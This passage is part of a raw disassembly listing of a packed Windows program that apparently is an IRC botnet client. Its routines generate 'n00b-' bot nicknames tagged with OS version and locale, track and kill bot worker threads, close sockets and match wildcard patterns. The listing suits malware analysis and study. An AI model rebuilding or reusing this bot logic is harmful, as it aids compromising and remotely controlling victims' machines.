[ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_41A2C8 call sub_40EF84 sub esi, eax mov eax, esi pop esi leave retn sub_40DE3E endp ; =============== S U B R O U T I N E ======================================= sub_40DE6E proc near ; CODE XREF: sub_40E17A+4Cp ; DATA XREF: .packed:off_421E80o var_C = dword ptr -0Ch arg_4 = dword ptr 8 push esi push edi call dword_41A090 ; GetTickCount push eax call sub_41018E mov edi, [esp+0Ch+arg_4] mov [esp+0Ch+var_C], offset aN00b ; "n00b-" push offset dword_41FB7C push 1Ch push edi call sub_40E7AB xor esi, esi add esp, 10h cmp dword_41FBF4, esi jle short loc_40DEC7 loc_40DEA1: ; CODE XREF: sub_40DE6E+57j call sub_410198 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_421EAC push 1Ch push edi call sub_40E7AB add esp, 14h inc esi cmp esi, dword_41FBF4 jl short loc_40DEA1 loc_40DEC7: ; CODE XREF: sub_40DE6E+31j mov eax, edi pop edi pop esi retn sub_40DE6E endp ; =============== S U B R O U T I N E ======================================= sub_40DECC proc near ; CODE XREF: sub_40997B+1BE0p ; DATA XREF: .packed:00421E94o arg_4 = dword ptr 8 push ebx push esi push edi call dword_41A090 ; GetTickCount push eax call sub_41018E pop ecx call sub_410198 push 3 mov ebx, [esp+10h+arg_4] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_41FBF4 test esi, esi jle short loc_40DF0F loc_40DEF9: ; CODE XREF: sub_40DECC+41j call sub_410198 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40DEF9 loc_40DF0F: ; CODE XREF: sub_40DECC+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40DECC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0C8h push ebx push esi lea eax, [ebp-0C8h] push edi push eax mov edi, offset byte_424EF4 mov dword ptr [ebp-0C8h], 94h call dword_41A0D4 ; GetVersionExA cmp dword ptr [ebp-0C4h], 4 push 0Ah pop ebx jnz short loc_40DF93 cmp dword ptr [ebp-0C0h], 0 jnz short loc_40DF74 cmp dword ptr [ebp-0B8h], 1 jnz short loc_40DF64 mov edi, offset a95 ; "95" loc_40DF64: ; CODE XREF: .packed:0040DF5Dj cmp dword ptr [ebp-0B8h], 2 jnz short loc_40DFCF mov edi, offset aNt ; "NT" jmp short loc_40DFCF ; --------------------------------------------------------------------------- loc_40DF74: ; CODE XREF: .packed:0040DF54j cmp [ebp-0C0h], ebx jnz short loc_40DF83 mov edi, offset a98 ; "98" jmp short loc_40DFCF ; --------------------------------------------------------------------------- loc_40DF83: ; CODE XREF: .packed:0040DF7Aj cmp dword ptr [ebp-0C0h], 5Ah jnz short loc_40DFCA mov edi, offset aMe ; "ME" jmp short loc_40DFCF ; --------------------------------------------------------------------------- loc_40DF93: ; CODE XREF: .packed:0040DF4Bj cmp dword ptr [ebp-0C4h], 5 jnz short loc_40DFCA cmp dword ptr [ebp-0C0h], 0 jnz short loc_40DFAC mov edi, offset a2k ; "2K" jmp short loc_40DFCF ; --------------------------------------------------------------------------- loc_40DFAC: ; CODE XREF: .packed:0040DFA3j cmp dword ptr [ebp-0C0h], 1 jnz short loc_40DFBC mov edi, offset aXp ; "XP" jmp short loc_40DFCF ; --------------------------------------------------------------------------- loc_40DFBC: ; CODE XREF: .packed:0040DFB3j cmp dword ptr [ebp-0C0h], 2 mov edi, offset dword_421EF8 jz short loc_40DFCF loc_40DFCA: ; CODE XREF: .packed:0040DF8Aj ; .packed:0040DF9Aj mov edi, offset dword_421EF4 loc_40DFCF: ; CODE XREF: .packed:0040DF6Bj ; .packed:0040DF72j ... lea eax, [ebp-0B4h] push offset dword_424F04 push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40DFED mov esi, offset dword_421EF0 jmp short loc_40E068 ; --------------------------------------------------------------------------- loc_40DFED: ; CODE XREF: .packed:0040DFE4j lea eax, [ebp-0B4h] push offset dword_421EEC push eax call sub_4102A0 pop ecx test eax, eax pop ecx jz short loc_40E00B mov esi, offset dword_421EE8 jmp short loc_40E068 ; --------------------------------------------------------------------------- loc_40E00B: ; CODE XREF: .packed:0040E002j lea eax, [ebp-0B4h] push offset a2 ; "2" push eax call sub_4102A0 pop ecx test eax, eax pop ecx jz short loc_40E029 mov esi, offset dword_421EE4 jmp short loc_40E068 ; --------------------------------------------------------------------------- loc_40E029: ; CODE XREF: .packed:0040E020j lea eax, [ebp-0B4h] push offset dword_421EE0 push eax call sub_4102A0 pop ecx test eax, eax pop ecx jz short loc_40E047 mov esi, offset dword_421EDC jmp short loc_40E068 ; --------------------------------------------------------------------------- loc_40E047: ; CODE XREF: .packed:0040E03Ej lea eax, [ebp-0B4h] push offset dword_421ED8 push eax call sub_4102A0 pop ecx mov esi, offset dword_421ED4 test eax, eax pop ecx jnz short loc_40E068 mov esi, offset off_421ED0 loc_40E068: ; CODE XREF: .packed:0040DFEBj ; .packed:0040E009j ... push dword ptr [ebp+8] call sub_404F3A push eax call sub_404E6A pop ecx test eax, eax pop ecx jz short loc_40E083 push offset dword_41EF00 jmp short loc_40E088 ; --------------------------------------------------------------------------- loc_40E083: ; CODE XREF: .packed:0040E07Aj push offset aD ; "D" loc_40E088: ; CODE XREF: .packed:0040E081j lea eax, [ebp-34h] push 10h push eax call sub_40E7AB add esp, 0Ch lea eax, [ebp-8] or dword ptr [ebp-4], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh lea eax, [ebp-0Ch] push eax lea eax, [ebp-4] push eax push offset dword_41EF0C push 0 call sub_4053E4 pop ecx push eax call sub_40F871 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40E0E0 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_40E7AB add esp, 10h jmp short loc_40E104 ; --------------------------------------------------------------------------- loc_40E0E0: ; CODE XREF: .packed:0040E0C9j cmp eax, 64h jge short loc_40E0F2 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_419A4E jmp short loc_40E101 ; --------------------------------------------------------------------------- loc_40E0F2: ; CODE XREF: .packed:0040E0E3j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_40E7AB loc_40E101: ; CODE XREF: .packed:0040E0F0j add esp, 0Ch loc_40E104: ; CODE XREF: .packed:0040E0DEj call dword_41A090 ; GetTickCount push eax call sub_41018E pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call dword_41A118 ; GetLocaleInfoA lea eax, [ebp-34h] push eax lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+0Ch] push eax push offset aSSSSS ; "%s[%s|%s]%s[%s]" push 1Ch push edi call sub_40E7AB xor esi, esi add esp, 20h cmp dword_41FBF4, esi jle short loc_40E173 loc_40E14E: ; CODE XREF: .packed:0040E171j call sub_410198 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_421EAC push 1Ch push edi call sub_40E7AB add esp, 14h inc esi cmp esi, dword_41FBF4 jl short loc_40E14E loc_40E173: ; CODE XREF: .packed:0040E14Cj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E17A proc near ; CODE XREF: sub_4095BB+B0p ; sub_409802+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_421E7C loc_40E186: ; CODE XREF: sub_40E17A+3Fj cmp [ebp+arg_C], 0 jz short loc_40E1A1 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_40FB80 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40E1AB ; --------------------------------------------------------------------------- loc_40E1A1: ; CODE XREF: sub_40E17A+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_8] setz al loc_40E1AB: ; CODE XREF: sub_40E17A+25j test eax, eax jnz short loc_40E1BD add esi, 14h inc edi cmp esi, 421EB8h jb short loc_40E186 jmp short loc_40E1CF ; --------------------------------------------------------------------------- loc_40E1BD: ; CODE XREF: sub_40E17A+33j push [ebp+arg_4] lea eax, [edi+edi*4] push [ebp+arg_0] call off_421E80[eax*4] pop ecx pop ecx loc_40E1CF: ; CODE XREF: sub_40E17A+41j mov eax, [ebp+arg_4] pop edi pop esi pop ebp retn sub_40E17A endp ; =============== S U B R O U T I N E ======================================= sub_40E1D6 proc near ; CODE XREF: sub_4034A7+10Dp ; sub_4039C6+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_42D0D8 loc_40E1DE: ; CODE XREF: sub_40E1D6+18j cmp byte ptr [eax], 0 jz short loc_40E1F2 add eax, 234h inc edi cmp eax, offset dword_4BA0D8 jl short loc_40E1DE jmp short loc_40E23D ; --------------------------------------------------------------------------- loc_40E1F2: ; CODE XREF: sub_40E1D6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_42D0D8[esi] push eax call sub_410090 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_42D2D8[esi], eax and dword_42D2DC[esi], 0 mov eax, [esp+8+arg_8] and dword_42D2E0[esi], 0 mov dword_42D2E4[esi], eax and byte_42D2F0[esi], 0 pop esi loc_40E23D: ; CODE XREF: sub_40E1D6+1Aj mov eax, edi pop edi retn sub_40E1D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E241 proc near ; DATA XREF: sub_40997B+3DA8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40E293 push [ebp+var_14] call sub_40E4F2 add esp, 14h push 0 call dword_41A084 ; ExitThread pop edi pop esi sub_40E241 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E293 proc near ; CODE XREF: sub_40E241+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_421FF0 push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC add esp, 14h xor edi, edi mov esi, offset dword_42D0D8 loc_40E2BD: ; CODE XREF: sub_40E293+78j cmp byte ptr [esi], 0 jz short loc_40E2FE cmp [ebp+arg_C], 0 jnz short loc_40E2D1 cmp dword ptr [esi+204h], 0 jnz short loc_40E2FE loc_40E2D1: ; CODE XREF: sub_40E293+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_40EE10 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC add esp, 24h loc_40E2FE: ; CODE XREF: sub_40E293+2Dj ; sub_40E293+3Cj add esi, 234h inc edi cmp esi, offset dword_4BA0D8 jl short loc_40E2BD pop edi pop esi leave retn sub_40E293 endp ; =============== S U B R O U T I N E ======================================= sub_40E311 proc near ; CODE XREF: sub_40997B+2BDEp ; sub_40E39F+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40E399 cmp esi, 400h jge short loc_40E399 imul esi, 234h push edi push ebx push dword_42D2EC[esi] lea edi, dword_42D2EC[esi] call dword_41A11C ; TerminateThread cmp [edi], ebx jz short loc_40E349 push 1 pop ebp loc_40E349: ; CODE XREF: sub_40E311+33j mov [edi], ebx lea edi, dword_42D2E0[esi] mov dword_42D2D8[esi], ebx mov dword_42D2DC[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40E36A push eax call sub_40DE07 pop ecx loc_40E36A: ; CODE XREF: sub_40E311+50j mov [edi], ebx lea edi, dword_42D2E4[esi] mov byte ptr dword_42D0D8[esi], bl mov byte_42D2F0[esi], bl push dword ptr [edi] call dword_4273AC ; closesocket lea esi, dword_42D2E8[esi] mov [edi], ebx push dword ptr [esi] call dword_4273AC ; closesocket mov [esi], ebx pop edi loc_40E399: ; CODE XREF: sub_40E311+Dj ; sub_40E311+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40E311 endp ; =============== S U B R O U T I N E ======================================= sub_40E39F proc near ; CODE XREF: sub_404CE2:loc_404D06p ; sub_4081F8+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_42D0D8 loc_40E3AB: ; CODE XREF: sub_40E39F+2Aj cmp byte ptr [esi], 0 jz short loc_40E3BC push edi call sub_40E311 test eax, eax pop ecx jz short loc_40E3BC inc ebx loc_40E3BC: ; CODE XREF: sub_40E39F+Fj ; sub_40E39F+1Aj add esi, 234h inc edi cmp esi, offset dword_4BA0D8 jl short loc_40E3AB pop edi mov eax, ebx pop esi pop ebx retn sub_40E39F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3D1 proc near ; CODE XREF: sub_40E464+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_42D2DC loc_40E3E5: ; CODE XREF: sub_40E3D1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40E407 test edi, edi jle short loc_40E3F9 cmp [esi], edi jz short loc_40E3F9 cmp ebx, edi jnz short loc_40E407 loc_40E3F9: ; CODE XREF: sub_40E3D1+1Ej ; sub_40E3D1+22j push ebx call sub_40E311 test eax, eax pop ecx jz short loc_40E407 inc [ebp+var_4] loc_40E407: ; CODE XREF: sub_40E3D1+1Aj ; sub_40E3D1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4BA2DC jl short loc_40E3E5 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40E3D1 endp ; =============== S U B R O U T I N E ======================================= sub_40E41E proc near ; CODE XREF: sub_403430+Bp ; sub_4034A7+2Cp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_42D2D8 loc_40E425: ; CODE XREF: sub_40E41E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40E42E inc eax loc_40E42E: ; CODE XREF: sub_40E41E+Dj add ecx, 234h cmp ecx, offset dword_4BA2D8 jl short loc_40E425 retn sub_40E41E endp ; =============== S U B R O U T I N E ======================================= sub_40E43D proc near ; CODE XREF: sub_40997B+33A6p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_42D2D8 loc_40E447: ; CODE XREF: sub_40E43D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40E460 add ecx, 234h inc edx cmp ecx, offset dword_4BA2D8 jl short loc_40E447 pop esi retn ; --------------------------------------------------------------------------- loc_40E460: ; CODE XREF: sub_40E43D+10j mov eax, edx pop esi retn sub_40E43D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E464 proc near ; CODE XREF: sub_40997B+ECDp ; sub_40997B+FE2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40E47D push [ebp+arg_1C] call sub_40FB66 pop ecx loc_40E47D: ; CODE XREF: sub_40E464+Ej push eax push [ebp+arg_18] call sub_40E3D1 pop ecx test eax, eax pop ecx jle short loc_40E4A9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_40EE10 add esp, 14h jmp short loc_40E4C3 ; --------------------------------------------------------------------------- loc_40E4A9: ; CODE XREF: sub_40E464+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_40EE10 add esp, 10h loc_40E4C3: ; CODE XREF: sub_40E464+43j cmp [ebp+arg_C], 0 jnz short loc_40E4E3 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC add esp, 14h loc_40E4E3: ; CODE XREF: sub_40E464+63j lea eax, [ebp+var_200] push eax call sub_407A4E pop ecx leave retn sub_40E464 endp ; =============== S U B R O U T I N E ======================================= sub_40E4F2 proc near ; CODE XREF: sub_4037AE+20Ap ; sub_4039C6+238p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_42D2EC[eax], ecx mov dword_42D2D8[eax], ecx mov dword_42D2DC[eax], ecx mov dword_42D2E0[eax], ecx mov dword_42D2E4[eax], ecx mov dword_42D2E8[eax], ecx mov byte ptr dword_42D0D8[eax], cl mov byte_42D2F0[eax], cl retn sub_40E4F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E52F proc near ; CODE XREF: sub_40997B+915p ; sub_40E65D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40E539: ; CODE XREF: sub_40E52F+68j mov cl, [esi] test cl, cl jz short loc_40E599 cmp eax, 1 jnz short loc_40E599 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40E599 cmp cl, 2Ah jz short loc_40E580 cmp cl, 3Fh jz short loc_40E563 cmp cl, 5Bh jz short loc_40E568 xor eax, eax cmp cl, dl setz al loc_40E563: ; CODE XREF: sub_40E52F+26j inc [ebp+arg_4] jmp short loc_40E593 ; --------------------------------------------------------------------------- loc_40E568: ; CODE XREF: sub_40E52F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40E5C5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40E593 ; --------------------------------------------------------------------------- loc_40E580: ; CODE XREF: sub_40E52F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40E65D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40E593: ; CODE XREF: sub_40E52F+37j ; sub_40E52F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40E539 ; --------------------------------------------------------------------------- loc_40E599: ; CODE XREF: sub_40E52F+Ej ; sub_40E52F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40E5A9 cmp eax, 1 jnz short loc_40E5C0 inc esi mov [ebp+arg_0], esi jmp short loc_40E599 ; --------------------------------------------------------------------------- loc_40E5A9: ; CODE XREF: sub_40E52F+6Dj cmp eax, 1 jnz short loc_40E5C0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40E5C0 cmp byte ptr [esi], 0 jnz short loc_40E5C0 push 1 pop eax jmp short loc_40E5C2 ; --------------------------------------------------------------------------- loc_40E5C0: ; CODE XREF: sub_40E52F+72j ; sub_40E52F+7Dj ... xor eax, eax loc_40E5C2: ; CODE XREF: sub_40E52F+8Fj pop esi pop ebp retn sub_40E52F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5C5 proc near ; CODE XREF: sub_40E52F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40E5E6 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40E5E6: ; CODE XREF: sub_40E5C5+19j push ebx push esi loc_40E5E8: ; CODE XREF: sub_40E5C5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40E5F6 cmp [ebp+var_4], eax jnz short loc_40E642 loc_40E5F6: ; CODE XREF: sub_40E5C5+2Aj test edi, edi jnz short loc_40E637 cmp bl, 2Dh jnz short loc_40E62B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40E62B cmp al, 5Dh jz short loc_40E62B cmp [ebp+var_4], edi jnz short loc_40E62B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40E637 cmp bl, al jg short loc_40E637 push 1 mov [edx], esi pop edi jmp short loc_40E637 ; --------------------------------------------------------------------------- loc_40E62B: ; CODE XREF: sub_40E5C5+38j ; sub_40E5C5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40E637 push 1 pop edi loc_40E637: ; CODE XREF: sub_40E5C5+33j ; sub_40E5C5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40E5E8 ; --------------------------------------------------------------------------- loc_40E642: ; CODE XREF: sub_40E5C5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40E64F mov ecx, eax sub ecx, edi mov edi, ecx loc_40E64F: ; CODE XREF: sub_40E5C5+82j cmp edi, eax jnz short loc_40E658 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40E658: ; CODE XREF: sub_40E5C5+8Cj mov eax, edi pop edi leave retn sub_40E5C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E65D proc near ; CODE XREF: sub_40E52F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40E679: ; CODE XREF: sub_40E65D+3Aj cmp [eax], bl jz short loc_40E699 mov cl, [ecx] cmp cl, 3Fh jz short loc_40E68E cmp cl, 2Ah jnz short loc_40E699 cmp cl, 3Fh jnz short loc_40E691 loc_40E68E: ; CODE XREF: sub_40E65D+25j inc eax mov [edi], eax loc_40E691: ; CODE XREF: sub_40E65D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40E679 ; --------------------------------------------------------------------------- loc_40E699: ; CODE XREF: sub_40E65D+1Ej ; sub_40E65D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40E6A4 inc dword ptr [esi] jmp short loc_40E699 ; --------------------------------------------------------------------------- loc_40E6A4: ; CODE XREF: sub_40E65D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40E6C5 mov edx, [esi] cmp [edx], bl jz short loc_40E6B6 xor eax, eax jmp short loc_40E725 ; --------------------------------------------------------------------------- loc_40E6B6: ; CODE XREF: sub_40E65D+53j cmp cl, bl jnz short loc_40E6C5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40E6C5 push 1 pop eax jmp short loc_40E725 ; --------------------------------------------------------------------------- loc_40E6C5: ; CODE XREF: sub_40E65D+4Dj ; sub_40E65D+5Bj ... push eax push dword ptr [esi] call sub_40E52F pop ecx test eax, eax pop ecx jnz short loc_40E70F loc_40E6D3: ; CODE XREF: sub_40E65D+B0j inc dword ptr [edi] mov eax, [edi] loc_40E6D7: ; CODE XREF: sub_40E65D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40E6EF cmp cl, 5Bh jz short loc_40E6EF cmp dl, bl jz short loc_40E6EF inc eax mov [edi], eax jmp short loc_40E6D7 ; --------------------------------------------------------------------------- loc_40E6EF: ; CODE XREF: sub_40E65D+82j ; sub_40E65D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40E706 push eax push dword ptr [esi] call sub_40E52F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40E70B ; --------------------------------------------------------------------------- loc_40E706: ; CODE XREF: sub_40E65D+96j mov [ebp+var_4], ebx xor eax, eax loc_40E70B: ; CODE XREF: sub_40E65D+A7j cmp eax, ebx jnz short loc_40E6D3 loc_40E70F: ; CODE XREF: sub_40E65D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40E722 mov eax, [esi] cmp [eax], bl jnz short loc_40E722 mov [ebp+var_4], 1 loc_40E722: ; CODE XREF: sub_40E65D+B6j ; sub_40E65D+BCj mov eax, [ebp+var_4] loc_40E725: ; CODE XREF: sub_40E65D+57j ; sub_40E65D+66j pop edi pop esi pop ebx leave retn sub_40E65D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E730 proc near ; CODE XREF: sub_401000+B2p ; sub_40197B+7p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_40E750 loc_40E73C: ; CODE XREF: sub_40E730+19j mov al, [ecx] inc ecx test al, al jz short loc_40E783 test ecx, 3 jnz short loc_40E73C add eax, 0 loc_40E750: ; CODE XREF: sub_40E730+Aj ; sub_40E730+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40E750 mov eax, [ecx-4] test al, al jz short loc_40E7A1 test ah, ah jz short loc_40E797 test eax, 0FF0000h jz short loc_40E78D test eax, 0FF000000h jz short loc_40E783 jmp short loc_40E750 ; --------------------------------------------------------------------------- loc_40E783: ; CODE XREF: sub_40E730+11j ; sub_40E730+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40E78D: ; CODE XREF: sub_40E730+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40E797: ; CODE XREF: sub_40E730+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40E7A1: ; CODE XREF: sub_40E730+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_40E730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7AB proc near ; CODE XREF: sub_401000+A2p ; sub_402147+69p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_410DB0 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40E7EA mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40E7F7 ; --------------------------------------------------------------------------- loc_40E7EA: ; CODE XREF: sub_40E7AB+35j lea eax, [ebp+var_20] push eax push 0 call sub_410C9B pop ecx pop ecx loc_40E7F7: ; CODE XREF: sub_40E7AB+3Dj mov eax, esi pop esi leave retn sub_40E7AB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E800 proc near ; CODE XREF: sub_401000+15p ; sub_401294+6Ep ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_40E853 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_40E847 neg ecx and ecx, 3 jz short loc_40E829 sub edx, ecx loc_40E823: ; CODE XREF: sub_40E800+27j mov [edi], al inc edi dec ecx jnz short loc_40E823 loc_40E829: ; CODE XREF: sub_40E800+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40E847 rep stosd test edx, edx jz short loc_40E84D loc_40E847: ; CODE XREF: sub_40E800+18j ; sub_40E800+3Fj ... mov [edi], al inc edi dec edx jnz short loc_40E847 loc_40E84D: ; CODE XREF: sub_40E800+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E800+Aj mov eax, [esp+arg_0] retn sub_40E800 endp ; =============== S U B R O U T I N E ======================================= sub_40E858 proc near ; CODE XREF: sub_4010F9+7Ap ; sub_4010F9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_40E86C loc_40E864: ; CODE XREF: sub_40E858+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_40E864 loc_40E86C: ; CODE XREF: sub_40E858+Aj mov edx, [esp+arg_4] push esi loc_40E871: ; CODE XREF: sub_40E858+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_40E871 pop esi retn sub_40E858 endp ; =============== S U B R O U T I N E ======================================= sub_40E882 proc near ; CODE XREF: 